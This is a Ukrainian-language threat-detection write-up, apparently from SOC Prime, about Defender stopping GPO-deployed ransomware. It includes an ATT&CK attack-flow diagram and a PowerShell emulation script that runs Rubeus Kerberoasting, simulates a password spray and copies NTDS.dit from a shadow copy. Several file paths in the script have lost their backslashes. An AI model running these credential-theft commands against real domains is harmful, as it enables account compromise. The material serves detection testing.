SOC Prime Bias: Висока

27 Mar 2026 16:45

Кейс: Як Захисний Щит Системи Захисту Блокував Рансомware на Основі GPO до Виконання

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Кейс: Як Захисний Щит Системи Захисту Блокував Рансомware на Основі GPO до Виконання
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Microsoft Defender перервав атаку програми-вимагача, керовану людиною, спрямовану на велику освітню організацію, виявивши зловживання Об’єктами групової політики (GPO), які використовувалися для ослаблення налаштувань безпеки та розповсюдження програми-вимагача через заплановані завдання.

Розслідування

Атакуючі скомпрометували обліковий запис адміністратора домену, здійснили перерахування Active Directory, перебрали облікові дані, зібрали квитки Kerberos і дані NTDS, створили шахрайські локальні облікові записи та розгорнули шкідливі GPO, щоб реалізувати політику підробки та ініціювати доставку програми-вимагача через заплановані завдання.

Пом’якшення

Захисний екран Defender передбачив шкідливу активність GPO, забезпечивши тимчасове посилення GPO, заблокувавши розгортання програми-вимагача через заплановані завдання та запобігши шифруванню на 97% пристроїв.

Відповідь

Після виявлення захисники повинні негайно активувати посилення GPO, ізолювати скомпрометовані облікові записи, заблокувати підозрілий SMB-трафік та розслідувати наявність додаткових методів стійкості, включаючи несанкціоноване створення локальних облікових записів.

"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 classDef builtin fill:#cccccc %% Reconnaissance Nodes recon_action["<b>Дія</b> – Розвідка<br/>Використано AD Explorer для перерахування Active Directory і здійснено вгадування паролів."] class recon_action action recon_brute["<b>Техніка</b> – T1110 Брутфорс: Вгадування паролів<br/><b>Опис</b> Спроби вгадати паролі методом проб та помилок."] class recon_brute technique recon_account["<b>Техніка</b> – T1087.002 Виявлення облікових записів: Домашній обліковий запис<br/><b>Опис</b> Перераховує облікові записи користувачів домену."] class recon_account technique recon_gpo["<b>Техніка</b> – T1615 Виявлення групової політики<br/><b>Опис</b> Отримує налаштування групової політики з контролерів домену."] class recon_gpo technique %% Reconnaissance Connections recon_action –>|використовує| recon_brute recon_action –>|виявляє| recon_account recon_action –>|виявляє| recon_gpo %% Credential Access Nodes action_cred["<b>Дія</b> – Доступ до облікових даних<br/>Виконано Kerberoasting і скинуто NTDS.dit."] class action_cred action tech_kerb["<b>Техніка</b> – T1558.003 Kerberoasting<br/><b>Опис</b> Запити квитків на сервісі та їх злам офлайн."] class tech_kerb technique tech_ntds["<b>Техніка</b> – T1003.003 Скидання облікових даних ОС: NTDS<br/><b>Опис</b> Витягує хеші паролів з бази даних Active Directory."] class tech_ntds technique %% Credential Access Connections action_cred –>|використовує| tech_kerb action_cred –>|використовує| tech_ntds %% Persistence Nodes action_persist["<b>Дія</b> – Стійкість<br/>Створено нові локальні облікові записи на скомпрометованих хостах."] class action_persist action tech_create_local["<b>Техніка</b> – T1136.001 Створення облікового запису: Локальний обліковий запис<br/><b>Опис</b> Додає локальні облікові записи користувачів для безперервного доступу."] class tech_create_local technique %% Persistence Connections action_persist –>|використовує| tech_create_local %% Lateral Movement Nodes action_lateral["<b>Дія</b> – Бічний рух<br/>Використано викрадені облікові дані домену для доступу до віддалених адміністративних шар через SMB."] class action_lateral action tech_smb["<b>Техніка</b> – T1021.002 Віддалені служби SMB/Адміністративні шари Windows<br/><b>Опис</b> Використовує SMB для бічного руху."] class tech_smb technique %% Lateral Movement Connections action_lateral –>|використовує| tech_smb %% Defense Evasion Nodes action_evasion["<b>Дія</b> – Уникання захисту<br/>Розгорнуто шкідливе GPO для відключення Microsoft Defender."] class action_evasion action tech_gpo_mod["<b>Техніка</b> – T1484 Модифікація політики домену або орендаря<br/><b>Опис</b> Змінює Об’єкти групової політики для зміни налаштувань безпеки."] class tech_gpo_mod technique tech_impair["<b>Техніка</b> – T1562.001 Погіршення захисту Відключення чи модифікація інструментів<br/><b>Опис</b> Вимикає або модифікує засоби безпеки."] class tech_impair technique %% Defense Evasion Connections action_evasion –>|модифікація| tech_gpo_mod action_evasion –>|відключення| tech_impair %% Impact Preparation Nodes action_impact["<b>Дія</b> – Підготовка до впливу<br/>Створено заплановане завдання через GPO для копіювання та виконання файлів на всіх машинах домену."] class action_impact action tech_scheduled["<b>Техніка</b> – T1053 Заплановане завдання/Робота<br/><b>Опис</b> Заплановано виконання команд у визначений час."] class tech_scheduled technique tech_cmd["<b>Техніка</b> – T1059.003 Інтерпретатор команд і сценаріїв Windows Command Shell<br/><b>Опис</b> Виконує пакетні файли за допомогою cmd.exe."] class tech_cmd technique tech_rundll["<b>Техніка</b> – T1218.011 Системне виконання бінарного проксі Rundll32<br/><b>Опис</b> Завантажує шкідливі DLL через rundll32.exe."] class tech_rundll technique %% Impact Preparation Connections action_impact –>|створення| tech_scheduled action_impact –>|виконання| tech_cmd action_impact –>|використовує| tech_rundll %% Ransomware Deployment Nodes action_ransom["<b>Дія</b> – Розгортання програми-вимагача<br/>Підготовлено плат, спроби зашифрувати файли; Defender заблокував розповсюдження GPO на багатьох пристроях."] class action_ransom action tech_encrypt["<b>Техніка</b> – T1486 Шифрування даних для впливу<br/><b>Опис</b> Шифрує дані жертви, щоб вимагати викуп."] class tech_encrypt technique %% Ransomware Deployment Connections action_ransom –>|використовує| tech_encrypt %% Загальна секція потоку recon_action –>|приводить до| action_cred action_cred –>|приводить до| action_persist action_persist –>|приводить до| action_lateral action_lateral –>|приводить до| action_evasion action_evasion –>|приводить до| action_impact action_impact –>|приводить до| action_ransom "

Потік атаки

Виконання симуляції

Передумова: Перевірка телеметрії та базового стану повинна пройти.

Обґрунтування: Цей розділ описує точне виконання техніки супротивника (TTP), розробленої для тригеру правила виявлення. Команди і розповідь повинні безпосередньо відображати ідентифіковані TTP і націлені на генерацію точної телеметрії, що очікується логікою виявлення.

Опис атаки та команди

  1. Перерахування Active Directory за допомогою ADExplorer – Атакуючий використовує утиліту living‑off‑the‑land ADExplorer.exe для перегляду бази даних AD, генеруючи подію створення процесу, що відповідає Образ | закінчується на 'ADExplorer.exe'.

  2. Брутфорс облікових даних (T1110) – Атакуючий виконує спрей паролями проти облікового запису домену, спричиняючи повторні невдалі спроби входу (Подія 4625) з причиною збою %#13 (“Користувач намагався увійти з ненадійного домену”).

  3. Kerberoasting (T1558.003) – Використовуючи відкритий вихідний код інструмент Rubeus, атакуючий запитує квитки на обслуговування Kerberos для SPN комп’ютерних облікових записів (наприклад, HOST01$). Кожен запит отримує Подію 4769 де Ім'я сервісу закінчується на $.

  4. Скид NTDS (T1003.003) – Атакуючий створює копію тіні обсягу системного диска та витягує NTDS.dit за допомогою ntdsutil, спричиняючи подію 4662 з Тип об'єкта = "ds" and Тип операції = "Реплікація".

Усі чотири дії виконуються на одному хості протягом 5-хвилинного вікна для емулювання реалістичної фази “збір” після компрометації.

Скрипт регресійного тестування

# -------------------------------------------------
# Симуляційний скрипт – Тригерить всі чотири шляхи виявлення
# -------------------------------------------------

# 1. Виконання ADExplorer (створення процесу)
$adExplorerPath = "$env:ProgramFilesSysinternalsADExplorer.exe"
if (-Not (Test-Path $adExplorerPath)) {
    Write-Host "ADExplorer не знайдено – завантажити заповнювач для тестування."
    # Імітувати шляхом копіювання будь-якого exe на ім'я, що очікується
    Copy-Item "$env:SystemRootSystem32notepad.exe" $adExplorerPath
}
Start-Process -FilePath $adExplorerPath -ArgumentList "/quiet" -WindowStyle Hidden
Start-Sleep -Seconds 5

# 2. Брутфорс спроби входу (4625 з %#13)
$domain = "CONTOSO"
$user   = "testuser"
$badPwd = "IncorrectPassword123!"
1..3 | ForEach-Object {
    $null = [System.DirectoryServices.AccountManagement.PrincipalContext]::new('Domain', $domain).ValidateCredentials($user, $badPwd)
    Start-Sleep -Milliseconds 500
}

# 3. Kerberoasting через Rubeus (вимагає Rubeus.exe у PATH)
$rubeusPath = "$env:ProgramFilesRubeusRubeus.exe"
if (-Not (Test-Path $rubeusPath)) {
    Write-Host "Rubeus не знайдено – пропустити крок Kerberoasting."
} else {
    & $rubeusPath kerberoast /outfile:"C:Tempkerb_tickets.kirbi"
}
Start-Sleep -Seconds 5

# 4. Витяг NTDS.dit за допомогою VSS (4662 реплікація)
# Створення копії VSS тіні та копіювання NTDS.dit
$shadow = (vssadmin list shadows | Select-String -Pattern "ShadowCopy Volume" -Context 0,1).Line.Split()[-1]
$ntdsSource = "$shadowWindowsNTDSNTDS.dit"
$ntdsDest   = "C:TempNTDS_dump.dit"
if (Test-Path $ntdsSource) {
    Copy-Item -Path $ntdsSource -Destination $ntdsDest -Force
}
Start-Sleep -Seconds 5

Write-Host "Симуляція завершена. Уся телеметрія повинна бути зібрана."

Команди очищення

# -------------------------------------------------
# Очищення – видаляє артефакти, створені симуляцією
# -------------------------------------------------

# Видалити фальшивий ADExplorer, якщо він був створений
Remove-Item -Path "$env:ProgramFilesSysinternalsADExplorer.exe" -ErrorAction SilentlyContinue

# Видалити дамп Kerberos
Remove-Item -Path "C:Tempkerb_tickets.kirbi" -ErrorAction SilentlyContinue

# Видалити кладичку NTDS
Remove-Item -Path "C:TempNTDS_dump.dit" -ErrorAction SilentlyContinue

# Очистити будь-які створені тіньові копії (вимагає адміністратора)
# vssadmin delete shadows /all /quiet

Write-Host "Очищення завершено."